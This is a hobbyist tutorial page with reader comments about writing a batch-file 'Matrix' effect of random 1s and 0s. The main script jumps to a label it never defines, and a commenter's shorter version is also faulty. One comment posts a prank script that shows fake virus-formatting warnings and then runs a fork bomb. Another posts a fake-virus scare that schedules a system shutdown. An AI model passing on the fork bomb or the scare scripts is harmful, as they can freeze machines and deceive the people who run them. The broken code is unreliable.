im gonna show you how to make a matrix effect with 1 and 0 in notepad

Step 1: Open Notepad


Step 2: Code


@echo off
color 0a
set /a a=%random%
if %a% geq 16384 set /a aa=1
if %a% lss 16384 set /a aa=0
set /a b=%random%
if %b% geq 16384 set /a bb=1
if %b% lss 16384 set /a bb=0
set /a c=%random%
if %c% geq 16384 set /a cc=1
if %c% lss 16384 set /a cc=0
set /a d=%random%
if %d% geq 16384 set /a dd=1
if %d% lss 16384 set /a dd=0
set /a e=%random%
if %e% geq 16384 set /a ee=1
if %e% lss 16384 set /a ee=0
set /a f=%random%
if %f% geq 16384 set /a ff=1
if %f% lss 16384 set /a ff=0
set /a g=%random%
if %g% geq 16384 set /a gg=1
if %g% lss 16384 set /a gg=0
set /a h=%random%
if %h% geq 16384 set /a hh=1
if %h% lss 16384 set /a hh=0
set /a i=%random%
if %i% geq 16384 set /a ii=1
if %i% lss 16384 set /a ii=0
set /a j=%random%
if %j% geq 16384 set /a jj=1
if %j% lss 16384 set /a jj=0
set /a k=%random%
if %k% geq 16384 set /a kk=1
if %k% lss 16384 set /a kk=0
set /a l=%random%
if %l% geq 16384 set /a ll=1
if %l% lss 16384 set /a ll=0
set /a m=%random%
if %m% geq 16384 set /a mm=1
if %m% lss 16384 set /a mm=0
set /a n=%random%
if %n% geq 16384 set /a nn=1
if %n% lss 16384 set /a nn=0
set /a o=%random%
if %o% geq 16384 set /a oo=1
if %o% lss 16384 set /a oo=0
set /a p=%random%
if %p% geq 16384 set /a pp=1
if %p% lss 16384 set /a pp=0
set /a q=%random%
if %q% geq 16384 set /a qq=1
if %q% lss 16384 set /a qq=0
set /a r=%random%
if %r% geq 16384 set /a rr=1
if %r% lss 16384 set /a rr=0
set /a s=%random%
if %s% geq 16384 set /a ss=1
if %s% lss 16384 set /a ss=0
set /a t=%random%
if %t% geq 16384 set /a tt=1
if %t% lss 16384 set /a tt=0
set /a u=%random%
if %u% geq 16384 set /a uu=1
if %u% lss 16384 set /a uu=0
set /a v=%random%
if %v% geq 16384 set /a vv=1
if %v% lss 16384 set /a vv=0
set /a w=%random%
if %w% geq 16384 set /a ww=1
if %w% lss 16384 set /a ww=0
set /a x=%random%
if %x% geq 16384 set /a xx=1
if %x% lss 16384 set /a xx=0
set /a y=%random%
if %y% geq 16384 set /a yy=1
if %y% lss 16384 set /a yy=0
set /a z=%random%
if %z% geq 16384 set /a zz=1
if %z% lss 16384 set /a zz=0
echo %aa% %bb% %cc% %dd% %ee% %ff% %gg% %hh% %ii% %jj% %kk% %ll% %mm% %nn% %oo% %pp% %qq% %rr% %ss% %tt% %uu% %vv% %ww% %xx% %yy% %zz%
goto a

all original by the way, no copying!

Step 3: Save As a .bat File

save as

     *as a side note, IT DOSE NOT HAVE TO BE SAVED AS "ALL FILES"

save as: "anything".bat

     *the .bat is important

Step 4: Open It

after you saved it, open it!
<p>@echo off</p><p>msg * Warning your computer has detected a virus.</p><p>msg * To remove the virus click OK or close this box</p><p>msg * Your Hard drives are now being formatted</p><p>msg * Please wait ...........</p><p>msg * APRIL FOOLS</p><p>@echo off</p><p>start %0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>%0|%0</p><p>goto start</p>
<p>That's ... nice, but it's no Matrix. Here's a batch I made using an actual screenshot from one of the movies. It uses unicode characters to flesh out the Matrix code font, since I don't think it's possible to get the original Japanese in pure batch. This uses unicode, and had to be converted to DOS format. Notpad will corrupt the unicide characters by converting them to ansi. I used Textpad to save the file.</p>
There is an easier way to do the coding
Nice work! But, why did you type that much code? All you need is: <br>@echo off <br>:a <br>set a=%random% % 16384 + 1 <br>echo %a% <br>goto a <br> <br>But nice work anyway!
Why can't it be copied instead of typing the whole thing?<br>I'm lazy.
You can copy it, i meant dont say its yours ;)
with the pauses you can have ping localhost&gt;nul and that has a time instead of the 'user' have to press any key just thought it would be a good command <br>
hey guys thanks for all the help in making batch stuff, just figured i would post one that i made for everyone to enjoy!!. it contains an auto shutdown, just continue through the program and it will cancel the shutdown. <br> <br>@echo off <br>echo you have a virus!!! <br>pause <br>cls <br>echo press any key to delete the infected file(s) automatically. <br>pause <br>cls <br>echo deleting files from c:\%userprofile% <br>echo 10% <br>echo 26% <br>echo 48% <br>echo 60% <br>echo 88% <br>echo 100% <br>echo files deleted. <br>pause <br>cls <br>color 47 <br>echo WARNING MAJOR CRITICAL FILES MISSING <br>echo total system failure, attempting to initiate backup sequence %random% <br>pause <br>echo... <br>pause <br>echo backup failure, restarting hard drive process sequences. <br>pause <br>cls <br>color 17 <br>echo warning, total system meltdown immenent, shut down computer now to avoid fire. <br>pause <br>cls <br>echo auto shutdown initiated <br>pause <br>shutdown -s -t 999 <br>pause <br>shutdown -a
I found this a really good batch program. I saw that you used the if function if you could teach me a bit about that, it would be grate. I found better than my one so I put a link so people who look at my one will see your one.
i will use an if command asan example:<br> <br> <strong>if %a% EQU %b% echo hello world!</strong><br> <br> this is saying: if variable&nbsp;&quot;a&quot; equals the variable &quot;b&quot;&nbsp;, input &quot;hello world!&quot; on the screen.<br> lets have a look at the &quot;EQU&quot;. this means equal. there are many different &quot;switches&quot; like these that you can replace it by:<br> GTR--Greater than<br> LSS--Lesser than<br> GEQ--greater or equal to<br> LEQ--lesser or equal to<br> NEQ--not equal to<br> EQU--equal to<br> <br> now for the %b%<br> instead of a variable after the switch, you can input a number. for example: <strong>if %a% EQU 22615 echo hello world!</strong><br> and after all that, you choose the command that is going to happen if<br> %a% equals %b% (first eample) in this case, &quot;echo hello world!&quot;<br> <br> hope this helped
K thanks
Your side note is incorrect... it <em>does</em> have to be saved as all files.
What OS do you have? It works with Win xp sp2 and Win vista home, for sure
OK, I just tested it out, and you are correct. I'm sorry. When I started in batch programming, it would not detect that it didn't need to add the .txt extension at the end unless you changed it to save as all files. I never tried it on the newer systems... it was just so engrained in my brain. Again, I'm sorry, and if you want me to remove my comment, I will be happy to.
Leave your comment, its ok. itl answer other questions ;)
OK. I wonder what other new fangled shortcuts I've missed out on! ;)
I feel a bash script coming on.

About This Instructable




More by Country Boy 97:BATCH (.bat) Matrix  --original-- 
Add instructable to: